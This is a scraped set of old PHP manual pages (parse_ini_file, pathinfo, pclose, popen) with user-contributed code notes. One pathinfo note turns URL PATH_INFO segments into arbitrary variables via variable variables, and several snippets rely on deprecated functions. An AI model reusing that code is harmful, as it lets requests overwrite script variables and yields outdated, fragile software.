* Search_ini_file refined.
*/
function search_ini_file ( $filename, $search_param, $return_section = false )
{
       $search_key =  (isset($search_param['key'])?$search_param['key']:false);
       $search_value = (isset($search_param['value'])?$search_param['value']:false);
       if ( !($search_key !==false || $search_value !==false) ){
               return false;
       }
       $retvalue = false;
       $handle = fopen($filename, 'r');
       if ( ($search_key !== false) && ($search_value !== false) ){
               $key_found = false;
               $retvalue['key'] = false;
               $retvalue['value'] = false;
               while( !feof($handle) ) {
                       $line = trim(fgets($handle, 4096));
                       if (preg_match("/^\[$search_key\].*?$/s",$line)){
                               $key_found = true;
                               $retvalue['key'] = true;
                               continue;
                       }
                       if ($key_found){
                               if (preg_match("/^\[.*?$/", trim($line))){
                                       break;
                               }else{
                                       if ($return_section){
                                               if ($line != '') {
                                                       list($k, $v) = split("=", $line);
                                                       $retvalue[$search_key][$k] = preg_replace("/;.*$/", "", $v);
                                               }  }  }

                               if (preg_match("/^$search_value\s*?=.*$/", $line)){
                                       $retvalue['value'] = true;
                                       break;
                               }  }  }
       }elseif ($search_key !== false){
               $keyfound = false;
               while ( !feof($handle) ){
                       $line = trim(fgets($handle, 4096));
                       if (preg_match("/^\[$search_key\].*?$/s",$line)){
                               $retvalue  = true;
                               if (!$return_section){
                                       break;
                               }else{
                                       $retvalue = Array();
                                       $keyfound = true;
                                       continue;
                               }  }

                       if ( $keyfound ){
                               if (preg_match("/^\[.*?$/", trim($line))){
                                       break;
                               }else{
                                       if ($return_section){
                                               if ($line != ''){
                                                       list($k, $v) = split("=", $line);
                                                       $retvalue[$search_key][$k] = preg_replace("/;.*$/", "", $v);
                                               }  }  }  }  }
       }elseif ($search_value !== false){
               while ( !feof($handle) ){
                       $line = trim(fgets($handle, 4096));

                       if (preg_match("/^$search_value\s*?=.*$/", $line)){
                               $retvalue = true;
                               if ($return_section){
                                       $retvalue = array();
                                       if ($line != ''){
                                               list($k, $v) = split("=", $line);
                                               $retvalue[$k] = preg_replace("/;.*$/", "", $v);
                                       }  }
                               break;
                       }  }  }
       fclose($handle);
       return $retvalue;
}
alex at NO_SPAM_PLEASE_sourcelibre dot com
17-Mar-2005 06:07
Note these will be converted to '1' and '0'

[section]
foo = yes
bar = no

Therefore, they need to be put between brackets if you want the value to be 'yes' and 'no'.
sly at noiretblanc dot org
09-Mar-2005 12:57
Be careful with the string "none", for example if you want to save a CSS border-style in your config.ini file :

[style]
borderstyle=none

will return:
   'style' => array ( 'borderstyle' => '' )

and not
   'style' => array ( 'borderstyle' => 'none' )

The solution is to quote the string none :
[style]
borderstyle="none"
hoc at notmail dot com
31-Jan-2005 09:29
to phpcoder at cyberpimp dot pimpdomain dot com:
thx for the read/write ini functions, they work like a charm ...

except for that one small (easy to find) substr-bug in the readINIfile-function:

counting with substr starts from 0, not 1, so
<?php
if (substr($value, 1, 1) == '"' && ...
?>
should be ...
<?php
if (substr($value, 0, 1) == '"' && ...
?>
nospam_phpnet at scovetta dot com
18-Jan-2005 08:21
As a Java programmer, I find PHPs lack of handing of multi-line ".properties" files a bit of a pain. I didn't see PEAR::Config handle this, so I hacked together a quick Properties class. This is by no means complete. It works for me, but I'm sure that someone can improve it. I'm also not an expert in PHP, so it may look like a kludge. Anyway, here it is:

<?php
/*
 * Properties class. Similar to Java Properties, deals with multi-line
 * properties files.
 *
 *  Created on Jan 17, 2005
 *
 * @author Michael V. Scovetta
 * This code is released under the GPL license.
 */

class Properties {

   var $properties;
     var $keyValueSeparators = "=: \t\r\n";
     var $whiteSpaceChars = " \t\r\n";

     function Properties($file = null) {
         $this->properties = array();
         if ($file) {
             $this->load($file);
         }
     }

     function set_property( $key, $value ) {
       $this->properties[$key] = $value;
   }

   function get_property( $key ) {
       return $this->properties[$key];
   }

   function load( $file ) {
       $lines = file($file);
       $lc = 0;
       $cont = false;
       foreach ($lines as $line) {
           if (!$cont) {
               $line = ltrim($line, $this->whiteSpaceChars);
               $key = $this->findFirstIn($line, $this->keyValueSeparators);

               if ($key === false)
                   continue;

               $value = substr($line, $key+2);
               $value = trim($value, $this->whiteSpaceChars);

               $key = substr($line, 0, $key+1);
               $key = trim($key, $this->whiteSpaceChars);

               if (substr($value, strlen($value)-1, 1) === '\\') {
                   $value = substr($value, 0, strlen($value)-1);
                   $cont = true;
               } else {
                   $this->properties[$key] = $value;
               }
           } else {
               $line = trim($line, $this->whiteSpaceChars);
               if (substr($line, strlen($line)-1, 1) === '\\') {
                   $value .= substr($line, 0, strlen($line)-1);
               } else {
                   $cont = false;
                   $value .= $line;
                   $this->properties[$key] = $value;
               }
           }
       }
   }

   function continueLine($line) {
       $slashCount = 0;
       $index = strlen($line) - 1;
       while (($index >= 0) && (substr($line, $index--, 1) == '\\'))
           $slashCount++;
       return ($slashCount % 2 == 1);
   }

   /**
     * Finds the first occurance of any character of $choices in $txt
     */
   function findFirstIn( $txt, $choices, $start = null)
   {
           $pos = -1;
           $arr = array();
           for ($i=0; $i<strlen($choices); $i++) {
               array_push($arr, substr($choices, $i, 1));
           }
           foreach( $arr as $v ) {
               $p = strpos( $txt, $v, $start );
               if ($p===FALSE)
                   continue;
               if (($p<$pos)||($pos==-1))
                   $pos = $p;
           }
           return $pos;
   }

   function toArray() {
       return $this->properties;
   }

}
?>
phpcoder at cyberpimp dot pimpdomain dot com
14-Jan-2005 05:31
Here's a much better way of reading and writing INI files.  (much fewer character restrictions, automatic comment header, binary safe, etc.)

<?php
/*
Function to replace PHP's parse_ini_file() with much fewer restritions, and
a matching function to write to a .INI file, both of which are binary safe.

Version 1.0

Copyright (C) 2005 Justin Frim <phpcoder@cyberpimp.pimpdomain.com>

Sections can use any character excluding ASCII control characters and ASCII
DEL.  (You may even use [ and ] characters as literals!)

Keys can use any character excluding ASCII control characters, ASCII DEL,
ASCII equals sign (=), and not start with the user-defined comment
character.

Values are binary safe (encoded with C-style backslash escape codes) and may
be enclosed by double-quotes (to retain leading & trailing spaces).

User-defined comment character can be any non-white-space ASCII character
excluding ASCII opening bracket ([).

readINIfile() is case-insensitive when reading sections and keys, returning
an array with lower-case keys.
writeINIfile() writes sections and keys with first character capitalization.
Invalid characters are converted to ASCII dash / hyphen (-).  Values are
always enclosed by double-quotes.

writeINIfile() also provides a method to automatically prepend a comment
header from ASCII text with line breaks, regardless of whether CRLF, LFCR,
CR, or just LF line break sequences are used!  (All line breaks are
translated to CRLF)
*/

function readINIfile ($filename, $commentchar) {
  $array1 = file($filename);
  $section = '';
  foreach ($array1 as $filedata) {
   $dataline = trim($filedata);
   $firstchar = substr($dataline, 0, 1);
   if ($firstchar!=$commentchar && $dataline!='') {
     //It's an entry (not a comment and not a blank line)
     if ($firstchar == '[' && substr($dataline, -1, 1) == ']') {
       //It's a section
       $section = strtolower(substr($dataline, 1, -1));
     }else{
       //It's a key...
       $delimiter = strpos($dataline, '=');
       if ($delimiter > 0) {
         //...with a value
         $key = strtolower(trim(substr($dataline, 0, $delimiter)));
         $value = trim(substr($dataline, $delimiter + 1));
         if (substr($value, 1, 1) == '"' && substr($value, -1, 1) == '"') { $value = substr($value, 1, -1); }
         $array2[$section][$key] = stripcslashes($value);
       }else{
         //...without a value
         $array2[$section][strtolower(trim($dataline))]='';
       }
     }
   }else{
     //It's a comment or blank line.  Ignore.
   }
  }
  return $array2;
}

function writeINIfile ($filename, $array1, $commentchar, $commenttext) {
  $handle = fopen($filename, 'wb');
  if ($commenttext!='') {
   $comtext = $commentchar.
     str_replace($commentchar, "\r\n".$commentchar,
       str_replace ("\r", $commentchar,
         str_replace("\n", $commentchar,
           str_replace("\n\r", $commentchar,
             str_replace("\r\n", $commentchar, $commenttext)
           )
         )
       )
     )
   ;
   if (substr($comtext, -1, 1)==$commentchar && substr($comtext, -1, 1)!=$commentchar) {
     $comtext = substr($comtext, 0, -1);
   }
   fwrite ($handle, $comtext."\r\n");
  }
  foreach ($array1 as $sections => $items) {
   //Write the section
   if (isset($section)) { fwrite ($handle, "\r\n"); }
   //$section = ucfirst(preg_replace('/[\0-\37]|[\177-\377]/', "-", $sections));
   $section = ucfirst(preg_replace('/[\0-\37]|\177/', "-", $sections));
   fwrite ($handle, "[".$section."]\r\n");
   foreach ($items as $keys => $values) {
     //Write the key/value pairs
     //$key = ucfirst(preg_replace('/[\0-\37]|=|[\177-\377]/', "-", $keys));
     $key = ucfirst(preg_replace('/[\0-\37]|=|\177/', "-", $keys));
     if (substr($key, 0, 1)==$commentchar) { $key = '-'.substr($key, 1); }
     $value = ucfirst(addcslashes($values,''));
     fwrite ($handle, '    '.$key.' = "'.$value."\"\r\n");
   }
  }
  fclose($handle);
}

?>
georg at linux dot ee
10-Jan-2005 06:15
<?php
   /**
     * Function to create lower-case key references to parse_ini_file() result.
     * Copyright (C) 2005  Joosep-Georg Jrvemaa <georg@linux.ee>
     *
     * This library is free software; you can redistribute it and/or
     * modify it under the terms of the GNU Lesser General Public
     * License as published by the Free Software Foundation; either
     * version 2.1 of the License, or (at your option) any later version.
     *
     * This library is distributed in the hope that it will be useful,
     * but WITHOUT ANY WARRANTY; without even the implied warranty of
     * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
     * Lesser General Public License for more details.
     *
     * You should have received a copy of the GNU Lesser General Public
     * License along with this library; if not, write to the Free Software
     * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
     */

   /**
     * Creates lower-case references to configuration array loaded from .INI.
     *
     * Function uses recursion to dive into configuration sub-sections and
     * marks already checked sections with additional key '_ns_ini_lcrefs'.
     *
     * @param arr Configuration array.
     */
   function ns_ini_lcrefs(& $arr) {

       foreach (array_keys($arr) as $_k) {

           if (is_array($arr[$_k]) && !isset($arr[$_k]['_ns_ini_lcrefs']))
               ns_ini_lcrefs($arr[$_k]);

           if (($_lc_k = strtolower($_k)) != $_k)
               $arr[$_lc_k] =& $arr[$_k];

       }

       $arr['_ns_ini_lcrefs'] = true;

   } // function ns_ini_lcrefs()

   /* EOF */
?>
Nick Deppe
20-Oct-2004 10:03
I just noticed that the code I wrote before had an error in it.  I have the fix posted here:

That is what happens when you don't error check the code first.  Duh.

Here is yet another version of write_ini_file.  This version takes data types into account.  If the file is numeric or boolean, the value is written in the ini file without quotes.  Else it will be written with quotes.

Please note that if a string that CAN be converted into a number WILL be converted into a number because I used the is_numeric function.  If you want to make sure that the data type is strictly preserved, use the is_integer and is_double functions in place of the is_numeric function.

<?php

if(!function_exists('write_ini_file')) {
  function write_ini_file($path, $assoc_array) {

   foreach($assoc_array as $key => $item) {
     if(is_array($item)) {
       $content .= "\n[{$key}]\n";
       foreach ($item as $key2 => $item2) {
         if(is_numeric($item2) || is_bool($item2))
           $content .= "{$key2} = {$item2}\n";
         else
           $content .= "{$key2} = \"{$item2}\"\n";
       }
     } else {
       if(is_numeric($item) || is_bool($item))
         $content .= "{$key} = {$item}\n";
       else
         $content .= "{$key} = \"{$item}\"\n";
     }
   }

   if(!$handle = fopen($path, 'w')) {
     return false;
   }

   if(!fwrite($handle, $content)) {
     return false;
   }

   fclose($handle);
   return true;

  }

}

?>
bkw at weisshuhn dot de
28-Sep-2004 05:56
Beware that currently you cannot have a closing square bracket (]) in any of the values if you are using sections, no matter how you quote.
See: http://bugs.php.net/bug.php?id=28804

This bug also seems to affect PEAR::Config.
tomasz.frelik(at)enzo.pl
09-Aug-2004 07:49
Here is a better version of write_ini_file() function, which can found below. This version allows you to use sections and still have "global" variables in ini file. The structure of resulting ini file mirrors the structure of the array passed to the function. You can have sections or no, it's up to you.

function write_ini_file($path, $assoc_array) {

   foreach ($assoc_array as $key => $item) {
       if (is_array($item)) {
           $content .= "\n[$key]\n";
           foreach ($item as $key2 => $item2) {
               $content .= "$key2 = \"$item2\"\n";
           }
       } else {
           $content .= "$key = \"$item\"\n";
       }
   }

   if (!$handle = fopen($path, 'w')) {
       return false;
   }
   if (!fwrite($handle, $content)) {
       return false;
   }
   fclose($handle);
   return true;
}
hfuecks at phppatterns dot com
15-Jul-2004 11:20
parse_ini_file seems to have changed it's signature between PHP 4.3.x and PHP 5.0.0 (can't find any relevant changelog / cvs entries referring to this).

In PHP 4.3.x and below return value was a boolean FALSE if the ini file could not be found. With PHP 5.0.0 the return value is an empty array if the file is not found.
php at isaacschlueter dot com
22-Jun-2004 02:47
Even better than putting the <?php at the head of the file is to do something like this:

--config.ini.php--
; <?php die( 'Please do not access this page directly.' ); ?>
; This is the settings page, do not modify the above line.
setting = value
...
Jomel (k95vz5f02 AT sneakemail DOT com)
19-Jun-2004 11:02
based entirely on LIU student's code (thanks), here's a write_ini_file function you can use whether or not the array you are writing is sorted into sections.
It is designed so that $arr1 equals $arr2 in both the cases below, using sections:
<?php
$arr1 = parse_ini_file($filename, true);
write_ini_file(parse_ini_file($filename, true), $filename, true);
$arr2 = parse_ini_file($filename, true);
?>
and without sections:
<?php
$arr1 = parse_ini_file($filename);
write_ini_file(parse_ini_file($filename), $filename);
$arr2 = parse_ini_file($filename);
?>
i.e. files written using write_ini_file will be semantically identical (as far as parse_ini_file can see) to the originals.

Here is the code:

<?php
if (!function_exists('write_ini_file')) {
   function write_ini_file($assoc_arr, $path, $has_sections=FALSE) {
       $content = "";

       if ($has_sections) {
           foreach ($assoc_arr as $key=>$elem) {
               $content .= "[".$key."]\n";
               foreach ($elem as $key2=>$elem2) {
                   $content .= $key2." = \"".$elem2."\"\n";
               }
           }
       }
       else {
           foreach ($assoc_arr as $key=>$elem) {
               $content .= $key." = \"".$elem."\"\n";
           }
       }

       if (!$handle = fopen($path, 'w')) {
           return false;
       }
       if (!fwrite($handle, $content)) {
           return false;
       }
       fclose($handle);
       return true;
   }
}
?>

Incidentally I wrapped it inside an if (!function_exists(...)) block so you can just put this wherever it's needed in your code without having to worry about it being declared several times.
Warning: if you read an ini file then write it using <?php write_ini_file(parse_ini_file($fname), $fname); ?>, any sections will obviously be lost.
Note also: unquoted values will be quoted and varname=true will become varname = "1" when writing an ini file back to itself using <?php write_ini_file(parse_ini_file($fname, true), $fname, true); ?> or <?php write_ini_file(parse_ini_file($fname), $fname); ?>. This should make no difference, but it might cause the types of the variables to change in case you plan on using === or !== comparisions.
forceone at justduck.net
15-Jun-2004 11:00
A better version of parse_ini_str that takes into account values that are named the same.

<?php
function parse_ini_str($Str,$ProcessSections = TRUE) {
   $Section = NULL;
   $Data = array();
   if ($Temp = strtok($Str,"\r\n")) {
     do {
         switch ($Temp{0}) {
           case ';':
           case '#':
               break;
           case '[':
               if (!$ProcessSections) {
                 break;
               }
               $Pos = strpos($Temp,'[');
               $Section = substr($Temp,$Pos+1,strpos($Temp,']',$Pos)-1);
               $Data[$Section] = array();
               break;
         default:
           $Pos = strpos($Temp,'=');
           if ($Pos === FALSE) {
               break;
           }
           $Value = array();
           $Value["NAME"] = trim(substr($Temp,0,$Pos));
           $Value["VALUE"] = trim(substr($Temp,$Pos+1),' "');

           if ($ProcessSections) {
               $Data[$Section][] = $Value;
           }
           else {
               $Data[] = $Value;
           }
           break;
         }
     } while ($Temp = strtok("\r\n"));
   }
   return $Data;
}
?>

Example:

[Files]
File=File1
File=File2

would return:

array (
   'Files' => array (
     0 => array (
         'NAME' => 'File',
         'VALUE' => File1',
     ),
     1 => array (
         'NAME' => 'File',
         'VALUE' => 'File2',
     ),
   ),
)
LIU student
19-Mar-2004 10:08
[Editor's note: The fwrite()-line should look like: "if (fwrite($handle, $content) === false) {" to avoid returning false when the array is empty --victor@php.net]

function writeIni($assoc_arr, $path){
   $content = "";

   foreach ( $assoc_arr as $key=>$elem ){
       $content .= "[".$key."]\n";
       foreach ( $elem as $key2=>$elem2){
           $content .= $key2." = \"".$elem2."\"\n";
       }
   }

   if (!$handle = fopen($path, 'w')) {
           return false;
   }
       if (!fwrite($handle, $content)) {
       return false;
       }
   fclose($handle);
   return true;
}
waikeatNOSPAM at archerlogic dot com
09-Nov-2003 10:37
I found that this function will not work on remote files.
I tried

$someArray = parse_ini_file("http://www.someweb.com/setting.ini");

and it reports

Cannot Open 'http://www.someweb.com/setting.ini' for reading ...
rus dot grafx at usa dot net
11-Oct-2003 09:15
Instead of using parse_ini_file() function I would recommend to use PEAR's Config package which is MUCH more flexible (assuming that you don't mind using PEAR and OOP). Have a closer look at http://pear.php.net/package/Config
dshearin at excite dot com
20-Jun-2003 11:47
I found another pitfall to watch out for. The key (to the left of the equal sign) can't be the same as one of the predefined values, like yes, no, on, off, etc. I was working on a script that read in an ini file that matched the country codes of top level domains to the full name of the country. I kept getting a parse error everytime it got to the entry for Norway ("no"). I fixed the problem by sticking a dot in front of each of the country codes.
10-May-2003 07:05
If your configuration file holds any sensitive information (such as database login details), remember NOT to place it within your document root folder! A common mistake is to replace config.inc.php files, which are formatted in PHP:
<?php
$database['host'] = 'localhost';
// etc...
?>

With config.ini files which are written in plain text:
[database]
host = localhost

The file config.ini can be read by anyone who knows where it's located, if it's under your document root folder. Remember to place it above!
kieran dot huggins at rogers dot com
08-Jan-2003 02:24
Just a quick note for all those running into trouble escaping double quotes:

I got around this by "base64_encode()"-ing my content on the way in to the ini file, and "base64_decode()"-ing on the way out.

Because base64 uses the "=" sign, you will have to encapsulate the entire value in double quotes so the line looks like this:

   varname = "TmlhZ2FyYSBGYWxscywgT04="

When base64'd, your strings will retain all \n, \t...etc...  URL's retain everything perfectly :-)

I hope some of you find this useful!

Cheers, Kieran
fbeyer at clickhand dot de
30-Nov-2002 01:37
Besides the features mentioned above (eg. core constants, booleans), you can also access user-defined constants in ini files! This is handy if you want to create a bit-field, for example:

+++ PHP +++

// Define pizza toppings
define('PIZZA_HAM',          1);
define('PIZZA_PINEAPPLE',    2);
define('PIZZA_ONION',        4);
define('PIZZA_MOZARELLA',    8);
define('PIZZA_GARLIC',        16);

// Read predefined pizzas
$pizzas = parse_ini_file('pizzas.ini');

if ($pizzas[$user_pizza] & PIZZA_ONION) {
   // Add onions to the pizza
}

+++ INI +++

[pizzas]

; Define pizzas
hawaii = PIZZA_HAM | PIZZA_PINEAPPLE
stinky = PIZZA_ONION | PIZZA_GARLIC
bob at kludgebox dot com
27-Mar-2002 02:27
And for the extra-paranoid like myself, add a rule into your httpd.conf file so that *.ini (or *.inc) in my case can't be sent to a browser:

<Files *.inc>
   Order deny,allow
   Deny from all
</Files>
JoshuaStarr at aelana dot com
15-Jan-2002 11:41
It should be noted that in all of our attempts you cannot escape a double quote in the value when read with the parse_ini_file() function.

;============================
; Example Configuration File
;============================
[category]
title = "Best Scripting Language"
desc = "See <a href=\"http://www.php.net/\">PHP</a>!"

If this file is read by parse_ini_file() the link value will not be set because of the escaped double quotes.
add a note add a note

后退 | 起点 | 前进
move_uploaded_file | 上一级 | pathinfo


pathinfo

(PHP 4 >= 4.0.3, PHP 5)

pathinfo -- 返回文件路径的信息

说明

array pathinfo ( string path [, int options] )

pathinfo() 返回一个联合数组包含有 path 的信息。包括以下的数组单元：dirname，basename 和 extension。

可以通过参数 options 指定要返回哪些单元。它们包括：PATHINFO_DIRNAME，PATHINFO_BASENAME 和 PATHINFO_EXTENSION。默认是返回全部的单元。

例子 1. pathinfo() 例子

<?php
$path_parts = pathinfo("/www/htdocs/index.html");
echo $path_parts["dirname"] . "\n";
echo $path_parts["basename"] . "\n";
echo $path_parts["extension"] . "\n";
?>

上例将输出：

/www/htdocs
index.html
html

注: 有关取得当前路径信息的说明，请阅读预定义变量一节。

参见 dirname()，basename()，parse_url() 和 realpath()。

add a note add a note User Contributed Notes
php at lanar dot com dot au
26-Apr-2006 04:19
If the file does not have an extension, the 'extension' key in the returned array does not exist. (In the windows environment at least).
e.g.
\php\php -r "print_r(pathinfo('/path/file'));"
Array
(
   [dirname] => /path
   [basename] => file
)
Darren
30-Nov-2005 10:37
Basename without extension, the true 'base' file name...

<?php

$path_parts['basename_we'] = substr($path_parts['basename'], 0, -(strlen($path_parts['extension']) + ($path_parts['extension'] == '' ? 0 : 1)));

?>
cochise_chiracahua at hotmail.com
26-Nov-2005 03:55
Sometimes, it's interessant to get the basename without extension.
So, I appended a new entry 'basenameWE' (Basename Without Extension) to the returned array.

<?php

// pathinfo improved
function pathinfo_im($path) {

   $tab = pathinfo($path);

   $tab["basenameWE"] = substr($tab["basename"],0
   ,strlen($tab["basename"]) - (strlen($tab["extension"]) + 1) );

   return $tab;
}

$my_path = "/var/www/html/example.html";

echo "<pre>\n";
print_r( pathinfo_im($my_path) );
echo "</pre>\n";

?>

Out :

Array
(
   [dirname] => /var/www/html
   [basename] => example.html
   [extension] => html
   [basenameWE] => example
)
sgermain at icexnetworks dot com
09-Jul-2005 02:24
It is true that if you put a directory into pathinfo, usually the extension is empty. But, if the directory name is /www/example.com/ for example, you will have the following output:

Array
(
   [dirname] => /www
   [basename] => example.com
   [extension] => com
)

So, it is the same as a file.
n0dalus
08-Feb-2005 05:47
If a file has more than one 'file extension' (seperated by periods), the last one will be returned.
For example:
<?php
$pathinfo = pathinfo('/dir/test.tar.gz');
echo 'Extension: '.$pathinfo['extension'];
?>
will produce:
Extension: gz

and not tar.gz
03-Dec-2004 08:39
If you want only the file extension, use this:
<?php
$extension = substr(strrchr($filename, "."), 1);
?>
This is many times faster than using pathinfo() and getting the value from array.
rob at webdimension dot co dot uk
04-Oct-2004 09:48
Further to my previous post.

This affects servers that run PHP as a cgi module

If you have your own server:
You can use the AcceptPathInfo directive to force the core handler to accept requests with PATH_INFO and thereby restore the ability to use PATH_INFO in server-side includes.

Further information:
http://httpd.apache.org/docs-2.0/mod/core.html#acceptpathinfo
rob at webdimension dot co dot uk
04-Oct-2004 05:56
Apache Upgrade from 1.3 to 2.0
The handling of PATH_INFO (trailing path information after the true filename) has changed for some modules. Modules that were previously implemented as a handler but are now implemented as a filter may no longer accept requests with PATH_INFO

Use:
$path_info = $ENV{'FILEPATH_INFO'} || $ENV{'PATH_INFO'};
junk at plaino dot com
19-Aug-2004 09:41
Convert a URL to the local file path and vice versa, convert a local file path to a URL.

// this sets the sytem / or \ :
strstr( PHP_OS, "WIN") ? $slash = "\\" : $slash = "/";

// This is the location of the php file that contains this
// function. Usually this request is made to files/folders
// down the directory structure, so the php file that
// contains these functions is a good "where am i"
// reference point:
$WIMPY_BASE['path']['physical'] = getcwd();
$WIMPY_BASE['path']['www'] = "http://".$_SERVER['HTTP_HOST'];

function url2filepath($theURL){
   global $WIMPY_BASE, $slash;
   $AtheFile = explode ("/", $theURL);
   $theFileName = array_pop($AtheFile);
   $AwimpyPathWWW = explode ("/", $WIMPY_BASE['path']['www']);
   $AtheFilePath = array_values (array_diff ($AtheFile, $AwimpyPathWWW));
   if($AtheFilePath){
       $theFilePath = $slash.implode($slash, $AtheFilePath).$slash.$theFileName;
   } else {
       $theFilePath = implode($slash, $AtheFilePath).$slash.$theFileName;
   }
   return ($WIMPY_BASE['path']['physical'].$theFilePath);
}

function filepath2url ($theFilepath){
   global $WIMPY_BASE, $slash;
   $AtheFile = explode ($slash, $theFilepath);
   $theFileName = array_pop($AtheFile);
   $AwimpyPathFILE = explode ($slash, $WIMPY_BASE['path']['physical']);
   $AtheFilePath = array_values (array_diff ($AtheFile, $AwimpyPathFILE));
   $thFileURL = implode("/", $AtheFilePath)."/".$theFileName;
   return ($WIMPY_BASE['path']['www']."$thFileURL");
}
albertof at deltasoft dot com dot ar
29-May-2002 04:10
This code is to work in index.php/var/var

if(isset($PATH_INFO)) {
     $viewcode = explode('/', $PATH_INFO);
       $num = count($viewcode);
       if($num % 2 == 0) {
           $viewcode[] = '';
           $num++;
       }
       for($i = 1; $i < $num; $i += 2) {

           $$viewcode[$i] = $viewcode[$i+1];

         }
   }
m-symons at home dot com
25-Aug-2001 10:01
And, of course, to account for the problem noted in the first post whereby calling a directory, not a file, messes with the output of pathinfo(), you can include the following test:

if($pathinfo[extension] == "") {

$deep++;

}

Ooops...sorry for missing that.
m-symons at home dot com
25-Aug-2001 09:54
Here's a neat wee function to grab the relative path to root (especially useful if you're using mock-directories to pass variables into scripts with mod_rewrite).  The function simply iterates through every occurence of "/" within the REQUEST_URI environment variable, appending "../" to the output for every instance:

<?php

function path_to_root($path) {

   $pathinfo = pathinfo($path);

   $deep = substr_count($pathinfo[dirname], "/");

   $path_to_root = "./";

   for($i = 1; $i <= $deep; $i++) {

       $path_to_root .= "../";

   }

   return $path_to_root;
}

path_to_root($REQUEST_URI);

?>
mikep at oeone dot com
23-Aug-2001 01:27
If you run this on a directory, basename is the last directory in the path, dirname is the path before the final directory and extension is empty.
add a note add a note

后退 | 起点 | 前进
parse_ini_file | 上一级 | pclose


pclose

(PHP 3, PHP 4, PHP 5)

pclose -- 关闭进程文件指针

说明

int pclose ( resource handle )

关闭用 popen() 打开的指向管道的文件指针。

文件指针必须有效，且必须是成功调用 popen() 所返回的。

返回运行的进程的终止状态。

参见 popen()。

add a note add a note User Contributed Notes
kcross at nssolutions dot com
17-Jul-2003 05:08
Somewhere between 4.1.1 and 4.2.3, the return value from pclose changed.

The exit status used to be in the second byte, so that the status would be (pclose($fp)/256).

It is now in the low-order byte, so the status is just pclose($fp).

Be careful.
vdweij at mailsurf dot com
12-Mar-2003 11:18
As I understand pclose will return 0 (on every platform) in case popen could not execute the specified command.

Since popen only returns the status wether it was able to send a command and not wether it was succesfully executed. Only the returned value of pclose can be used to check wether a command could be executed.
roel at bouwman dot net
08-Oct-1999 01:23
The return value of pclose() is not the exit status of the program, but a value as returned by waitpid() of wait4().

To obtain the exit status:

$ret=(pclose($f)>>8)&0xFF;
add a note add a note

后退 | 起点 | 前进
pathinfo | 上一级 | popen


popen

(PHP 3, PHP 4, PHP 5)

popen -- 打开进程文件指针

说明

resource popen ( string command, string mode )

打开一个指向进程的管道，该进程由派生给定的 command 命令执行而产生。

返回一个和 fopen()
所返回的相同的文件指针，只不过它是单向的（只能用于读或写）并且必须用
pclose() 来关闭。此指针可以用于
fgets()，fgetss() 和
fwrite()。

如果出错返回 FALSE。

注: 如果需要双向支持，使用 proc_open()。

例子 1. popen() 例子

<?php
$handle = popen("/bin/ls", "r");
?>

注: 如果未找到要执行的命令，会返回一个合法的资源。这看上去很怪，但有道理。它允许你访问 shell 返回的任何错误信息：

<?php
error_reporting(E_ALL);

/* 加入重定向以得到标准错误输出 stderr。 */
$handle = popen('/path/to/spooge 2>&1', 'r');
echo "'$handle'; " . gettype($handle) . "\n";
$read = fread($handle, 2096);
echo $read;
pclose($handle);
?>

注: 在打开了安全模式时，只能执行在 safe_mode_exec_dir 之内的程序。为实用起见目前不能在指向程序的路径中包含 .. 成分。

警告

在打开了安全模式时，初始命令字符串之后的所有词都被看成一个单一的参数。因此，echo y | echo x 就成了 echo "y | echo x"。

参见 pclose()，fopen() 和 proc_open()。

add a note add a note User Contributed Notes
php dot net_manual at reimwerker dot de
03-Jun-2006 07:45
If you are going to allow data coming from user input to be passed to this function, then you should keep in mind the following warning that also applies to exec() and system():

http://www.php.net/manual/en/function.exec.php
http://www.php.net/manual/en/function.system.php

Warning:

If you are going to allow data coming from user input to be passed to this function, then you should be using escapeshellarg() or escapeshellcmd() to make sure that users cannot trick the system into executing arbitrary commands.
eric dot liu dot yi at gmail dot com
16-May-2006 01:32
popen() can be used to directly communicate with tools like GNUplot. (And it is platform independent~). To facilitate my work, I made a PHP interface to GNUPlot here:
http://celeste.cn/PHP-GNUPlot/
Christian
10-May-2006 02:33
Thanks a lot to tr4nc3 at msn dot com..
when using apache on Windows XP, on 'console mode' commands work fine, but as a system service, commands like 'popen' stop functioning, to resolve this:

Start>Run>services.msc
Right click "Apache...", select properties.
Click on the "LOG ON" tab
Check the box "Allow this service to interact with desktop"
Click OK
Restart Apache
don at digithink dot com
20-Dec-2005 08:28
// The above import function can be easily extended using
// /usr/local/bin/xls2csv (part of catdoc ) and popen
// to read excell files directly.
// In our particular application the first line was the file heading.
function importxls($file,$head=true,$throwfirst=true,$delim=",",$len=1000) {
   $return = false;
   $handle = popen("/usr/local/bin/xls2csv $file", "r");
// or die if not there.
   if ($throwfirst) {
       $throw = fgetcsv($handle, $len, $delim);
   }
   if ($head) {
       $header = fgetcsv($handle, $len, $delim);
   }
   while (($data = fgetcsv($handle, $len, $delim)) !== FALSE) {
       if ($head AND isset($header)) {
           foreach ($header as $key=>$heading) {
               $row[$heading]=(isset($data[$key])) ? $data[$key] : '';
               print "<li>". $heading ."=>" . $row[$heading]."</li>";
           }
           $return[]=$row;
       } else {
           $return[]=$data;
       }
   }
   fclose($handle);
   return $return;
}
rjl at xs4all dot nl
24-Nov-2005 05:16
Truncated output from ps command?

The solution lies in the way ps displays it's info
specifically the -w option which:
'uses 132 columns to display information,
instead of the default which is your window size.'....
somehow with fgets in php that results in 74 characters
regardless off the init length parameter

a bit of code:

echo '<table width="99%"><tr><td>cron</td></tr>' . "\n";
$fp=popen("/bin/ps -waux","r");
while (!feof($fp)) {
   $buffer = fgets($fp, 4096);
   $croninf .= '<tr><td>' . $buffer . '</td></tr>' . "\n";
}
pclose($fp);
echo $croninf;
echo '</table><br><br>' . "\n";

Ciao,

Rene =<>=
erb at agricola-gymnasium dot de
06-Oct-2005 08:48
Writing and executing a bash script is as simple as that:

$f = popen ("/bin/bash","w");
fwrite($f, "export KRB5CCNAME=`tempfile`\n");
fwrite($f, "export KRBTKFILE=`tempfile`\n");
fwrite($f, "$KINIT --keytab=$GLOBALS["KADMIN_KEYFILE"] --use-keytab --afslog $GLOBALS["KADMIN_PRINC"]\n");
fwrite($f, "pts delete $uid\n");
fwrite($f, "fs rmmount $rwhome\n");
fwrite($f, "vos remove sanjo b user.$uid\n");
fwrite($f, "$KDESTROY\n");
pclose($f);
Cride5
09-Sep-2005 08:39
Here is a nice little script for monitoring your http access log.

<?php

$handle = popen("tail -f /etc/httpd/logs/access.log 2>&1", 'r');
while(!feof($handle)) {
